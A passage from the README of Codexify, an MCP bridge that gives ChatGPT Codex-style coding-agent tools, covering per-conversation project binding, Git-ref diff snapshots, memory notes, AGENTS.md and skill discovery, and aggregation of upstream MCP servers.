are therefore recognised as the same repository, while separate subprojects in a monorepo remain distinct.\n- A conversation cannot switch roots once bound — start another chat for a different project. Re-selecting the same canonical path or exact normalized repository selection is idempotent. A different repository, branch, PR, or commit URL is rejected before any clone or fetch begins.\n- Until a root is selected, project-scoped tools are unavailable and say why.\n`list_projects`\n\nand`set_project_root`\n\nare the two project-independent tools present for this workflow.\n\nNative Codex records trust decisions in its user-level configuration:\n\n```\n[projects.\"/absolute/path/to/project\"]\ntrust_level = \"trusted\"\n```\n\nCodexify reads those paths as candidates. It does not treat the table as exhaustive: entries may be stale, may represent separate worktrees, and contain no semantic description beyond the path. Explicit `projectCatalog.entries`\n\ncan therefore add aliases/descriptions or supply projects absent from the native table.\n\nEvery candidate passes Codexify's own checks. Its path must exist, resolve to a directory, and canonicalize to the access root itself or a descendant; missing entries, files, and symlink escapes are skipped, while duplicate canonical targets are merged into one candidate. Native Codex trust is only catalogue metadata plus the default `trustedOnly`\n\nfilter. It never grants Codexify access to a path outside `--work-dir`\n\n, and an explicit catalogue entry does not widen that boundary either.\n\n`list_projects`\n\nreturns a selector relative to the access root, which can be passed unchanged as `set_project_root.path`\n\n. Its optional query matches names, aliases, descriptions, and selectors case-insensitively with deterministic exact/prefix/substring ranking. The tool never binds automatically. If several results remain plausible, the agent instructions require asking the user rather than guessing, because a wrong binding cannot be changed in that conversation.\n\nThe native table is read live for every `list_projects`\n\ncall. The file is read-only, the `codex`\n\nexecutable is not required, and project-local `.codex/config.toml`\n\nlayers are not scanned because they are meaningful only after a project has been selected.\n\nPer-conversation separation extends to saved state: with an explicit `memory.dir`\n\n, each selected project gets its own hashed child directory (see the [ memory block](#config-file)), and conversation bindings stay enabled even when\n\n`memory.enabled`\n\nis `false`\n\n. The end-to-end onboarding flow — select, then request the brief — is in [Starting a chat](#starting-a-chat).\n\nTo clear a stray binding, delete its file under `~/.codexify/conversation-projects/`\n\n; there is no tool to re-point an already-bound conversation. A managed worktree remains referenced while that binding exists. Startup cleanup skips referenced or dirty worktrees and only removes older clean, unreferenced entries beyond `keepCount`\n\n.\n\nDiff state is initialized immediately before the first project-scoped tool call for a conversation or generic MCP transport. That timing captures the checkout as the agent first sees it, before a write, formatter, generator, or shell command can change it. Mutating tool calls and `show_diff`\n\nare serialized for the same owner and project through tool completion, so the incremental cursor cannot advance over a partially completed write. A resident `exec_command`\n\nprocess may continue changing files after its initiating call returns, so every diff remains a point-in-time snapshot. Non-Git projects remain usable; inside a Git worktree, a snapshot failure blocks mutating tools rather than silently losing the baseline. Two baselines are maintained:\n\n**project open** is immutable and shows the complete task diff;**last diff** records the most recent snapshot emitted by`show_diff`\n\n, so the next default diff is incremental.\n\n`show_diff`\n\naccepts `since: \"last_diff\" | \"project_open\"`\n\n, `advance`\n\n, and `include_patch`\n\n. By default it records the emitted snapshot as the next incremental baseline; `advance=false`\n\nleaves that cursor unchanged. This bookkeeping is connector-private: the tool remains annotated read-only because it does not modify project files, Git history, user-owned data, or external systems. The ordinary model-visible diff result is a concise aggregate summary and deliberately has no `structuredContent`\n\n. Compatible MCP Apps receive bounded file records, rename sources, binary markers, warnings, and the complete unified binary patch through namespaced result `_meta`\n\n, which ChatGPT forwards to the component without adding it to model context. Oversized patches are omitted explicitly rather than returned as invalid partial hunks.\n\nSnapshots use Git objects, but they do **not** touch the real index or working tree. Codexify builds a private temporary index containing only the logical project root, then carries the same literal pathspec through every comparison. If the selected project is `packages/app`\n\ninside a monorepo, sibling changes under `packages/other`\n\ncannot enter its checkpoint or diff. Paths in the component-only diff payload are relative to the selected project, not the repository root.\n\nWith ChatGPT's stable `_meta[\"openai/session\"]`\n\n, each conversation/project scope stores exactly two namespaced refs under:\n\n```\nrefs/codexify/diff/<project-hash>/<conversation-hash>/project-open\nrefs/codexify/diff/<project-hash>/<conversation-hash>/last-diff\n```\n\nThe raw conversation identifier is never written. The refs survive MCP reconnects and Codexify restarts. Generic MCP clients receive transport-local in-memory checkpoints instead. Each conversation/project pair retains only its current two referenced snapshots; unreferenced synthetic commits are ordinary Git-GC candidates. To inspect or remove current refs manually, use `git for-each-ref refs/codexify/diff/`\n\nand `git update-ref -d <ref>`\n\n. Removing both refs resets that owner to the current scoped state on its next project call. Existing `refs/codexify/review/.../project-open`\n\nand `.../last-review`\n\nrefs are copied lazily into the diff namespace and retained so installations from the current review-named surface keep their checkpoints.\n\nCodexify advertises the standard MCP Apps extension and serves a self-contained diff resource at `ui://codexify/diff/v3/mcp-app.html`\n\n. Compatible ChatGPT developer connectors render `show_diff`\n\nas the interactive GitHub-style file/statistic/patch card from component-only result metadata; the component is model-visible but is not granted app-side tool access. Other clients receive the concise text result. Existing review metadata and the v3, v2, and unversioned `ui://codexify/review/...`\n\nresources remain readable so existing cards can remount, while current `show_diff`\n\nresults emit only the diff-named metadata. Expansion state is persisted as private widget state, including migration of `reviewOpen`\n\nto `diffOpen`\n\n. Cursor advancement completes before the result is returned and never waits for widget interaction, and the card updates at the `show_diff`\n\ntool-call boundary rather than continuously watching the filesystem.\n\nCodexify bounds model-visible tool output and persists task state so long-running work can continue across context limits and conversations.\n\n**Spend the window on less.** Every non-self-managed tool result passes through a 10,000-token model-output ceiling by default. The policy covers both textual `content`\n\nand model-visible `structuredContent`\n\n; component-only result `_meta`\n\nremains outside model context. File and list tools stop at their semantic paging boundaries and name the argument that continues from where they stopped:\n\n```\n(showing lines 1-1000 of 4820 — call again with offset=1000 for the rest)\n```\n\nThat line matters as much as the cap. Silent truncation reads as \"that was the whole file\", which is worse than no cap at all. `read_file`\n\nhas a byte ceiling as well as a line one, because a minified bundle is a single line several megabytes long that a line cap alone would hand back in full. `grep`\n\nadditionally caps context, match count and individual lines while preserving the actual match inside a long minified line. `exec_command`\n\nand `write_stdin`\n\nkeep Codex's 10,000-token default but clamp larger requests to server policy. Oversized arbitrary `structuredContent`\n\nbecomes a bounded error requesting narrower arguments rather than invalid partial JSON.\n\n**Keep what would be expensive to rediscover.** `remember`\n\ncreates one keyed note and refuses an existing key; `update_memory_note`\n\nreplaces an existing note without creating a missing key; `forget_memory_note`\n\ndeletes an existing note; `recall`\n\nhands back the notes and the current plan. `update_plan`\n\npersists too, so the plan survives the conversation that made it. Separating creation, replacement, and deletion gives each operation an accurate safety classification and prevents an empty string from doubling as an implicit delete command.\n\nTask state lives in `~/.codexify/projects/<name>-<hash>/memory.json`\n\n, keyed by the absolute active project root. Nothing is written into the repository you pointed the server at, and two checkouts of the same repo do not share notes. Multi-project conversations therefore share task state only when they select the same canonical project root.\n\nChatGPT project bindings live separately under `~/.codexify/conversation-projects/<access-root-hash>/<conversation-hash>.json`\n\n. The raw `openai/session`\n\nvalue is never written to disk; only its SHA-256-derived key is used as the filename. Each small record contains the canonical access root and selected project root. Delete this directory to forget all conversation bindings. A missing or stale project fails closed rather than silently rebinding the conversation to another directory.\n\nIn single-project mode, `instructions`\n\nis rebuilt for every MCP session, so a new conversation opens with the saved plan and notes already in front of it, under a `## Saved state`\n\nheading between the environment and `AGENTS.md`\n\n. In multi-project mode the initialize-time instructions deliberately remain project-neutral: ChatGPT supplies its stable conversation identifier on tool calls, after the MCP initialize exchange. Calling `get_agent_brief`\n\nrestores an existing conversation binding automatically; for a new conversation it reports that `set_project_root`\n\nis required and directs the agent to `list_projects`\n\nwhen the exact path is unknown. After binding, `get_agent_brief`\n\nreturns the environment, saved state, skills, and `AGENTS.md`\n\nfor the selected project. If the client ignores `instructions`\n\n, one `recall`\n\ngets the same saved state after selection.\n\nThe division of labour is worth keeping straight: `AGENTS.md`\n\nis what is true of the **project** and belongs in the repo; notes are what is true of the **task in flight** and belong here.\n\nA tool list says what a model *can* do; the server's `instructions`\n\nadd the operating rules for how to use those tools. The agent brief is derived from `codex-rs/core/gpt-5.2-codex_prompt.md`\n\n.\n\nThat brief is what stops the client rewriting a file it never read, reverting your uncommitted work, reaching for `git reset --hard`\n\n, or making a one-step plan. It carries Codex's editing constraints (ASCII by default, comments only where they earn their place, `apply_patch`\n\nover rewrites, and the dirty-worktree rules in full), its planning rules, its code-review posture, and its habit of reporting back concisely without pasting files you already have on disk.\n\nThe `initialize`\n\nresponse layers these sources in precedence order:\n\n**The agent brief**— how to behave.** The environment**— OS, shell, work directory, command policy.** Saved state**— the plan and notes left by earlier work, when there are any. See[Context and memory](#context-and-memory).** The skill catalogue**— what this project and this user already know how to do, when any is installed. See[Skills](#skills).— the project speaking for itself, behind the`AGENTS.md`\n\n`--- project-doc ---`\n\nmarker.\n\nCLI-renderer-specific prompt rules are omitted: search is already exposed through `grep`\n\n/`glob`\n\n, and MCP clients render their own markdown and file references.\n\n`instructions`\n\nis the proper channel, but no client is obliged to show it to its model, and ChatGPT Web is not reliable about it. `get_agent_brief`\n\nreturns the identical string, so one line is enough to onboard a conversation:\n\n```\nCall get_agent_brief and follow it for the rest of this chat.\n\nTask: <what you want done>\n```\n\nEverything else — the shell you're on, the allowlist, your repo's `AGENTS.md`\n\n— arrives with that one call. If a chat starts drifting back into generic-assistant behaviour, asking for the brief again re-anchors it.\n\nFor a new chat in multi-project mode with an exact path, select before requesting the brief:\n\n```\nCall set_project_root with path \"my-project\", then call get_agent_brief and follow it for the rest of this chat.\n\nTask: <what you want done>\n```\n\nThe path may be relative to the configured access root or absolute, but its canonical target must be an existing directory inside that root. The binding belongs to the ChatGPT conversation, not to the current HTTP/MCP transport, so simultaneous chats may select different projects and later turns recover their respective project roots after reconnects or server restarts. A conversation cannot switch roots after binding; start another chat for another project. Calling `set_project_root`\n\nagain with the same canonical path is harmless.\n\nAn exact Git repository URL uses the same tool and clones only when no matching checkout exists:\n\n```\nCall set_project_root with path \"https://github.com/owner/repository\", then call get_agent_brief and follow it for the rest of this chat.\n\nTask: <what you want done>\n```\n\nFor non-GitHub providers, pass the clone URL ending in `.git`\n\n, for example\n`https://gitlab.com/group/repository.git`\n\nor `git@gitlab.com:group/repository.git`\n\n.\n\nTo enter an exact branch, PR, or commit instead of the repository's default\ncheckout, pass the corresponding GitHub page URL unchanged, for example\n`https://github.com/owner/repository/tree/split_db`\n\nor\n`https://github.com/owner/repository/pull/886`\n\n. Commit URLs use the full object ID,\nfor example `https://github.com/owner/repository/commit/c8cae44bf004a6ac6bfc267c5dfe503d57652103`\n\n.\n\nWhen the task names a project by intent rather than an exact path, let the agent search first:\n\n```\nCall list_projects with a query derived from the task. If exactly one candidate is unambiguous, pass its selector to set_project_root; otherwise ask me which project I mean. Then call get_agent_brief and follow it for the rest of this chat.\n\nTask: <what you want done>\n```\n\nOn a later turn in an already-bound chat, the path does not need to be repeated:\n\n```\nCall get_agent_brief and follow it for the rest of this task.\n\nTask: <what you want done>\n```\n\nOnly project identity is conversation-persistent. A live `exec_command`\n\nprocess and its numeric `session_id`\n\nremain tied to the current MCP transport and are deliberately discarded when that transport closes; stale process handles are not resurrected on a later follow-up.\n\nWindows, macOS and Linux are supported natively. Which shell runs is decided by name, not by host platform:\n\n| Shell | Invoked as |\n|---|---|\n`sh` , `bash` , `zsh` , anything else |\n`<shell> -c \"<cmd>\"` |\n`powershell` , `pwsh` |\n`<shell> -NoProfile -Command \"<cmd>\"` |\n`cmd` |\n`cmd /c \"<cmd>\"` |\n\nThe default comes from `$SHELL`\n\non every platform, so starting the server from Git Bash on Windows gets bash — with real `ls -la`\n\n, pipes and `$VAR`\n\n— rather than PowerShell. Set `exec.defaultShell`\n\nto override, or pass `shell`\n\non an individual `exec_command`\n\ncall.\n\nTwo Windows-specific details are handled: `powershell -Command`\n\ncollapses every non-zero child exit code to `1`\n\n, so commands are wrapped to re-raise `$LASTEXITCODE`\n\n; and `exec_command`\n\n's description gains Codex's PowerShell rules (`-LiteralPath`\n\nover `-Path`\n\n, `-WindowStyle Hidden`\n\n) when the server runs there.\n\nBecause the resolved shell decides what a command should even look like, it is published three ways — a client only has to read one of them:\n\nin the`instructions`\n\n`initialize`\n\nresponse, as the Environment section of the[agent brief](#acting-as-a-codex-agent)., which names the actual shell binary and its syntax family.`exec_command`\n\n's description, for clients that read neither.`get_environment`\n\nA project's `AGENTS.md`\n\ntells the agent its conventions — which test command to run, which files not to touch, how commits should look. Codexify discovers it using the algorithm from `codex-rs/core/src/agents_md.rs`\n\n.\n\nIn single-project mode, discovery walks up from `--work-dir`\n\nto the nearest directory holding a **root marker** (`.git`\n\nby default), then collects **one doc per directory on the way back down**, so a monorepo's root conventions arrive before the ones belonging to the subdirectory you pointed the server at. In multi-project mode the selected directory is treated as the exact project root and discovery never reads an access-root parent, preventing instructions from one sibling project or the common parent from leaking into another session. In each directory considered, `AGENTS.override.md`\n\nwins over `AGENTS.md`\n\n, which wins over anything in `projectDoc.fallbackFilenames`\n\n. The files are concatenated outermost-first under a **shared 32 KiB budget**, counted in bytes rather than characters; a file that runs past what is left is cut there and reported as truncated, and whitespace-only files are skipped without spending any of it. If no marker is found anywhere above in single-project mode, only the work directory itself is checked.\n\nLike the environment, the result is published more than one way:\n\ncarries the doc inline, behind Codex's own`instructions`\n\n`--- project-doc ---`\n\nseparator. Everything past that marker is the project speaking, and it outranks the[agent brief](#acting-as-a-codex-agent)above it.returns the identical text for clients that never read`get_project_doc`\n\n`instructions`\n\n, along with the absolute path of every file it came from and whether each was truncated.\n\nInstructions are built per MCP session, so editing `AGENTS.md`\n\ntakes effect on the next connection without restarting the server.\n\n`AGENTS.md`\n\nsays what is true of the project always. A **skill** says how to do one recurring task well — cut a release, review a PR the way this team reviews PRs, debug the flaky suite — and is only read when that task comes up. Codexify uses the `SKILL.md`\n\nformat and discovery model from `codex-rs/ext/skills`\n\nand `codex-rs/skills`\n\n.\n\nA skill is a directory holding a `SKILL.md`\n\nwhose YAML frontmatter names it and says when it applies:\n\n```\n.agents/skills/\n└── release/\n    ├── SKILL.md\n    ├── references/versioning.md\n    └── scripts/tag.sh\n---\nname: release\ndescription: Cut and publish a release of this project\n---\n\n1. Check `cargo test` and `cargo clippy` are clean.\n2. Bump the version in `Cargo.toml`.\n3. Run `scripts/tag.sh`; see `references/versioning.md` for what the tag must look like.\n```\n\n`description`\n\nis required — it is the only thing the model sees before deciding whether the skill is worth reading. `name`\n\ndefaults to the directory name. `metadata.short-description`\n\nis optional. A skill whose frontmatter cannot be used is reported by `skills_list`\n\nrather than silently dropped, because the author meant it to be there.\n\n**Where they are found**, in precedence order:\n\n| Scope | Directories |\n|---|---|\n`repo` |\n`.agents/skills` , `.codex/skills` and `.claude/skills` , in every directory from the project root down to the active work directory; in multi-project mode the selected directory is the exact project root |\n`user` |\n`~/.agents/skills` , `~/.codex/skills` and `~/.claude/skills` , or whatever `skills.dirs` names instead |\n`plugin` |\nEnabled installed OpenAI Codex plugin skills under the active `~/.codex/plugins/cache/<marketplace>/<plugin>/<version>` package, plus installed Claude Code plugin skills under `~/.claude/plugins/cache/<marketplace>/<plugin>/<version>/skills/*` |\n\nRepo skills come first, so a project decides how a name behaves inside it; a personal skill of the same name is shadowed and `skills_list`\n\nsays so rather than merging the two.\n\n**Plugin skills.** Codexify mirrors Codex's local plugin-skill discovery. It reads enabled `[plugins.\"<plugin>@<marketplace>\"]`\n\nentries from the Codex user `config.toml`\n\n, resolves the same active cache version (`local`\n\nwins; otherwise Codex's semver/lexical ordering), and reads the plugin manifest rather than assuming every cache entry has a `skills/`\n\ndirectory. Legacy manifests can declare one or more skill roots and are searched recursively; current Agent Plugin manifests use the conventional direct-child `skills/`\n\nlayout. Legacy migrated-command skills are included too, and `[[skills.config]]`\n\nname/path disable rules are honored. Plugin skills use the manifest namespace as `<plugin>:<skill>`\n\n. Codexify also retains compatible Claude Code plugin discovery, using the highest installed Claude plugin version. Turn all plugin-skill discovery off with `\"skills\": { \"includePlugins\": false }`\n\n. Setting `skills.dirs`\n\noverrides the standalone roots and, by default, disables plugin discovery too — set `includePlugins: true`\n\nalongside `dirs`\n\nto keep it.\n\n**What the model sees.** The catalogue — a name and a description per skill — goes into the project-aware brief under a `## Skills`\n\nheading. In single-project mode that is available at initialization; in multi-project mode it arrives from `get_agent_brief`\n\nafter selection. Bodies are not loaded: `skills_read`\n\nfetches one only once a skill has actually been chosen. That is the progressive disclosure that makes a large library affordable on a small context window. The section is omitted entirely when nothing is installed.\n\n**Reaching the rest of a package.** Reference files, scripts and assets are read with `skills_read`\n\nand the skill's name, passing the file's path as `resource`\n\n. `read_file`\n\nwill not do: it is confined to the active project root, and user- and plugin-scope skills live in your home directory. Paths inside a skill are relative to the skill's own directory, and a `resource`\n\nthat tries to leave it is rejected — so the only thing this opens up is the inside of a skill you or the project deliberately installed. Reading a `SKILL.md`\n\nlists the package's other files, since the model cannot glob a directory it cannot see.\n\nDiscovery runs per MCP session, so adding a skill takes effect on the next connection without restarting the server. Set `skills.enabled`\n\nto `false`\n\nto turn the whole thing off.\n\nCodexify can also act as an **MCP aggregator**: it connects to local stdio or remote Streamable HTTP MCP servers as a client and materializes their complete paginated `tools/list`\n\ncatalogues at startup. Catalogue ownership and model exposure are separate. A server can keep its transitive tools private behind a fixed progressive-disclosure surface, expose each tool directly, or use a one-tool gateway.\n\n`mode` |\nDefault provenance | Downstream exposure |\n|---|---|---|\n`\"catalog\"` |\nServers automatically imported from Codex `config.toml` or the Codex CLI/plugin catalogue |\nThe complete filtered catalogue stays private. All catalog-mode sources share four fixed tools: `mcp_list_sources` , `mcp_search_tools` , `mcp_get_tool` , and `mcp_call_tool` |\n`\"direct\"` |\nA standalone entry declared only in `codexify.config.json.mcpServers` |\nEvery selected upstream tool becomes `<server>__<tool>` |\n`\"gateway\"` |\nNever implicit; explicit opt-in only | The server becomes one `{ function, arguments }` dispatcher plus a generated skill containing every function schema |\n\nThe default is based on **provenance**, not a tool-count threshold. Automatically imported Codex/plugin servers use catalog mode even when they expose only a few tools. Standalone explicit entries use direct mode by default. An explicit entry that overlays an imported server inherits that imported provenance; set `mode`\n\nin the overlay to choose another exposure.\n\nTo expose every imported tool directly:\n\n```\n{\n  \"mcpServers\": {\n    \"idasql\": { \"mode\": \"direct\" }\n  }\n}\n```\n\nTo keep a standalone explicit server out of the connector capability catalogue:\n\n```\n{\n  \"mcpServers\": {\n    \"remote-docs\": {\n      \"url\": \"https://mcp.example.com/mcp\",\n      \"mode\": \"catalog\"\n    }\n  }\n}\n```\n\n`tools`\n\nand `disabledTools`\n\nare applied to raw upstream tool names before any mode is materialized. The fixed catalog tools and every direct/gateway proxy are project-independent: they remain callable before project selection in multi-project mode, subject to any configured conversation-authorization gate.\n\nCodexify reads `$CODEX_HOME/config.toml`\n\nwhen `CODEX_HOME`\n\nis set, otherwise `~/.codex/config.toml`\n\n. The file is read only. This parser imports user-configured MCP servers without requiring a `codex`\n\nexecutable. MCP-server import does not apply Codex's project-local configuration layers or project trust decisions; [project catalogue discovery](#project-catalogue-semantics) is a separate consumer of the same user-level file.\n\nFor each `[mcp_servers.<name>]`\n\nentry, Codexify imports the fields it can preserve:\n\n`command`\n\n,`args`\n\n,`env`\n\nand`cwd`\n\nfor local stdio launch;- local\n`env_vars`\n\n, resolved from Codexify's process environment; `url`\n\nfor Streamable HTTP;`bearer_token_env_var`\n\n,`http_headers`\n\n, and`env_http_headers`\n\nfor HTTP authentication and request headers;`startup_timeout_sec`\n\n,`startup_timeout_ms`\n\n, and`tool_timeout_sec`\n\n;`enabled = false`\n\nas a disabled upstream;`enabled_tools`\n\nas an allow-list and`disabled_tools`\n\nas a deny-list applied afterwards.\n\nBy default, Codexify also tries `codex mcp list --json`\n\n. Servers present in Codex's effective catalogue but absent from `config.toml`\n\nare fetched with `codex mcp get <name> --json`\n\nso plugin-provided enablement and tool allow/deny lists are preserved. The executable is selected from `codexMcp.cliPath`\n\n, then `CODEX_CLI_PATH`\n\n, then `codex`\n\non `PATH`\n\n. Each invocation is bounded to 30 seconds and 4 MiB of stdout, and its JSON is parsed in memory without logging literal environment values. Both directly parsed and CLI/plugin imports carry imported provenance and therefore default to catalog exposure.\n\nWhen the CLI is missing, fails, times out, or returns incompatible JSON, normal startup continues with the direct `config.toml`\n\nresult and prints a warning that plugin-provided MCP servers may be missing. Pass `--codex-cli`\n\nto make successful CLI discovery mandatory instead; the same condition then becomes a startup error. Set `\"codexMcp\": { \"useCli\": false }`\n\nto suppress CLI invocation while retaining direct config parsing.\n\nNon-local execution environments are unsupported: Codexify itself opens the HTTP connection and cannot delegate header resolution or stdio launch into a Codex executor. `http_headers_helper`\n\nis also unsupported. Other Codex-only fields are ignored explicitly: the startup report names those fields, but never prints header values, environment values, or bearer tokens. A missing or unreadable Codex config does not prevent CLI-discovered or explicitly declared `codexify.config.json`\n\nservers from loading.\n\nDisable discovery while retaining explicit upstreams with:\n\n```\n{\n  \"codexMcp\": { \"enabled\": false },\n  \"mcpServers\": {}\n}\n```\n\nTo keep direct Codex config import but never start the Codex CLI:\n\n```\n{\n  \"codexMcp\": { \"enabled\": true, \"useCli\": false }\n}\n```\n\nThe `mcpServers`\n\nmap in `codexify.config.json`\n\ndeclares explicit upstream servers. A local entry is a stdio command that Codexify launches and drives over stdin/stdout. A standalone entry with no `mode`\n\nuses direct exposure:\n\n```\n{\n  \"mcpServers\": {\n    \"idasql\": {\n      \"command\": \"idasql-mcp\",\n      \"args\": [\"--stdio\"],\n      \"env\": { \"IDA_PATH\": \"C:/Program Files/IDA\" }\n    }\n  }\n}\n```\n\nA remote entry uses MCP Streamable HTTP. Secret values should come from environment variables rather than the JSON file:\n\n```\n{\n  \"mcpServers\": {\n    \"remote-docs\": {\n      \"url\": \"https://mcp.example.com/mcp\",\n      \"bearerTokenEnvVar\": \"REMOTE_MCP_TOKEN\",\n      \"httpHeaders\": {\n        \"X-Client\": \"codexify\"\n      },\n      \"envHttpHeaders\": {\n        \"X-Tenant\": \"REMOTE_MCP_TENANT\"\n      },\n      \"startupTimeoutSec\": 20,\n      \"toolTimeoutSec\": 60\n    }\n  }\n}\n```\n\n`bearerTokenEnvVar`\n\nis required to exist and be non-empty when configured. Missing or empty values referenced by `envHttpHeaders`\n\nare omitted, matching Codex. Environment-backed headers override a same-named static header. Do not configure both `bearerTokenEnvVar`\n\nand an `Authorization`\n\nentry in `httpHeaders`\n\n/`envHttpHeaders`\n\n.\n\nAn explicit entry with the same name as an imported Codex server is a field-by-field overlay. That makes Codex-specific launch settings reusable while adding bridge-only settings without copying the command, arguments or environment:\n\n```\n{\n  \"mcpServers\": {\n    \"remote-exec\": {\n      \"mode\": \"gateway\",\n      \"tools\": [\"exec\", \"machine_list\"]\n    }\n  }\n}\n```\n\nSet an empty array or object to replace an imported collection with an empty one. Explicit `command`\n\nand `url`\n\nfields replace the imported transport rather than producing a mixed configuration.\n\nAt startup you'll see, e.g.:\n\n``` php\nCodex MCP config discovery: /home/user/.codex/config.toml\n  idasql -> imported from Codex config\nCodex CLI MCP discovery: codex\n  idalib -> imported from Codex CLI (not present in config.toml)\nCodex MCP overrides:\n  remote-exec -> imported fields overlaid by codexify.config.json\nTools loaded (32): 28 native + 4 upstream-facing MCP tools\nUpstream MCP servers:\n  idalib      -> catalog (66 private tool(s))\n  idasql      -> catalog (12 private tool(s))\n  remote-exec -> gateway (2 functions via `remote_exec`)\n```\n\nAn upstream that fails to launch, connect, authenticate, or answer is skipped; it never blocks startup or the native tools. Every configured server is reported, so a bad path or failed handshake is not silent.\n\nCatalog mode keeps every filtered upstream definition private while downstream `tools/list`\n\nreceives only a small fixed surface:\n\n| Tool | Contract |\n|---|---|\n`mcp_list_sources` |\nList or filter catalog-mode systems. Results include a unique model-facing source ID, the raw configured server name, provenance, transport, tool count, upstream implementation metadata, and initialization instructions when supplied |\n`mcp_search_tools` |\nBM25-ranked full-text search over source/server metadata, model-facing and raw tool names, title, description, and recursively useful input/output-schema property names, descriptions, required names, and enum values. It can be restricted to one source ID |\n`mcp_get_tool` |\nReturn one exact upstream tool definition, including its separate model-facing ID and raw name, title, description, input/output schemas, annotations, icons, and `_meta` |\n`mcp_call_tool` |\nInvoke the selected source/tool ID with an `arguments` object. Dispatch resolves the original server and raw tool name exactly |\n\nA typical agent flow is `mcp_list_sources`\n\nonce when it needs to learn the available systems, `mcp_search_tools`\n\nwith task-specific terminology, `mcp_get_tool`\n\nfor the selected match when its exact schema or side-effect metadata matters, then `mcp_call_tool`\n\n. Search returns compact summaries rather than every schema, so a 66-tool IDA server contributes only these four fixed connector capabilities.\n\nModel-facing IDs are sanitized and collision-disambiguated independently from raw names. The raw server/tool strings are never reconstructed from those IDs; dispatch uses the stored originals. This matters for names such as `rename-function`\n\nand `rename_function`\n\n, which can normalize to the same identifier but remain distinct upstream calls.\n\nForwarded calls preserve upstream text blocks, images, structured content, the tool-error flag, and result `_meta`\n\n. Configured tool timeouts use RMCP cancellable requests, and cancellation of the downstream ChatGPT/MCP request is forwarded upstream. Unsupported content-block variants are retained through the existing JSON-text fallback rather than discarded.\n\nThe generic dispatcher cannot reproduce the selected upstream tool's host-level approval semantics in ChatGPT because its downstream annotations are fixed before `source`\n\nand `tool`\n\nare known. `mcp_call_tool`\n\ntherefore advertises conservative potentially-destructive/open-world hints. The agent can inspect the selected tool's exact annotations through `mcp_get_tool`\n\n, but the connector host still approves the generic dispatcher as one capability. Use direct mode when per-tool connector annotations and approval boundaries are required.\n\nThe private catalogue is a startup snapshot. Dynamic upstream `tools/list_changed`\n\nnotifications are not projected into the fixed surface; restart Codexify to rematerialize a changed catalogue.\n\nWith `\"mode\": \"direct\"`\n\n, each upstream tool becomes a `BridgedTool`\n\nnamed `<server>__<tool>`\n\n(sanitized to `[A-Za-z0-9_]`\n\n, so `remote-exec`\n\nbecomes `remote_exec__exec`\n\n). Calls use the tool's stored **raw upstream name**, not the downstream identifier. Input/output schemas, title, icons, `_meta`\n\n, and every upstream annotation field are preserved in downstream `tools/list`\n\n; omitted safety hints are materialized with MCP defaults so the descriptor is complete. Text, images, structured content, error state, and result metadata pass through on calls. A downstream name colliding with a native or already registered tool is skipped with a warning.\n\nDirect mode places every selected schema in the connector capability catalogue. Use `tools`\n\n/`disabledTools`\n\nto curate it when full exposure is unnecessary.\n\n** mode: \"gateway\"** exposes a whole server as one dispatcher tool plus a generated skill.\n\n```\n{\n  \"mcpServers\": {\n    \"remote-exec\": {\n      \"mode\": \"gateway\"\n    }\n  }\n}\n```\n\nFor an upstream imported from Codex, the overlay alone is sufficient; an upstream declared only in `codexify.config.json`\n\nalso needs its launch fields. Gateway mode registers one sanitized tool named `remote_exec`\n\ntaking `{ \"function\": \"<name>\", \"arguments\": { ... } }`\n\n, and generates a skill (`skills_read name=\"remote-exec\"`\n\n) documenting every raw function and argument schema. An 84-tool server therefore shows up as one tool plus one skill. This mode does not provide ranked search, exact per-tool metadata retrieval, or per-tool connector approval semantics; catalog mode provides those capabilities with the same compact connector surface.\n\n`disabled: true`\n\nkeeps an entry configured but skips it (reported as`-> disabled`\n\n).`tools: [\"exec\", \"machine_list\", ...]`\n\nis an allow-list over raw upstream names.`disabledTools: [\"dangerous_write\", ...]`\n\nremoves tools after the allow-list.`cwd`\n\nselects a stdio child process's working directory.`startupTimeoutSec`\n\nbounds initialization plus complete paginated`tools/list`\n\n; the default is 20 seconds.`toolTimeoutSec`\n\nbounds each forwarded call and sends MCP cancellation when the limit expires.`type`\n\nis inferred:`command`\n\nmeans`\"stdio\"`\n\n, while`url`\n\nmeans Streamable HTTP. Explicit HTTP aliases`\"http\"`\n\n,`\"streamable-http\"`\n\n, and`\"streamable_http\"`\n\nare accepted.- SSE and WebSocket transports are rejected; supported upstream transports are stdio and Streamable HTTP.\n\nOAuth authorization-code login and credential persistence are not implemented by this bridge. An OAuth-protected upstream must therefore be supplied a usable bearer token through `bearerTokenEnvVar`\n\nor an environment-backed `Authorization`\n\nheader. Resource links returned by bridged tools are proxied in direct, gateway, and catalog modes: Codexify replaces the upstream URI with a short-lived random `codexify://upstream-resource/...`\n\ncapability, and a downstream `resources/read`\n\nis forwarded to the originating upstream peer with caller cancellation and the configured egress size/TTL/reference bounds. The downstream link and returned `ResourceContents.uri`\n\nfields use only the opaque Codexify capability rather than the upstream routing URI. Upstream `resources/list`\n\n, resource templates, prompts, and subscriptions are not otherwise aggregated. Catalog mode reports upstream initialization instructions as source metadata, but does not inject them into Codexify's own initialization instructions.\n\nIf your server doesn't show up, **check the banner first** — the most common cause is a wrong `command`\n\npath.\n\n- In ChatGPT, enable\n**Developer mode**. - Configure\n`openaiTunnel`\n\n, export the referenced runtime key, and start Codexify. Keep the process running for connector discovery and every tool call. - In ChatGPT's connector/plugin settings, create a developer-mode connector with\n**Connection type: Tunnel**. - Select the same tunnel ID that Codexify reports as ready. Set\n**Authentication** to**None**. - Set the connector's permissions to\n**Allow all actions** if you do not want per-call confirmations. - Enable the connector in a new chat. Without conversation authorization, open with\n`Call get_agent_brief and follow it for the rest of this chat.`\n\nWith`conversationAuthToken`\n\n, first supply the one-line`setup`\n\ninstruction from[Optional per-conversation authorization](#optional-per-conversation-authorization); after authorization succeeds, follow its project-selection or`get_agent_brief`\n\ndirection. In multi-project mode (`--multi-project`\n\n), call`set_project_root`\n\nfirst when an exact path, HTTPS/SSH`.git`\n\nrepository URL, or supported GitHub repository, branch, pull-request, or commit URL is known, or`list_projects`\n\nfirst when only the local project identity is known; later follow-ups in that same chat recover both authorization and the project binding from ChatGPT's conversation metadata.\n\nThere is no server URL to enter in this mode. OpenAI routes the selected tunnel to the supervised client, which supplies Codexify's generated per-process bearer on the local hop. The startup banner prints the runtime-only `/readyz`\n\nand `/metrics`\n\nURLs. It does not advertise an admin UI because `tunnel-client-runtime`\n\ndeliberately omits that full-client surface.\n\n- Start Codexify without\n`openaiTunnel`\n\n(add`--work-dir /path/to/projects --multi-project`\n\nfor one connector shared across projects). - Put an authenticated reverse proxy or tunnel in front of 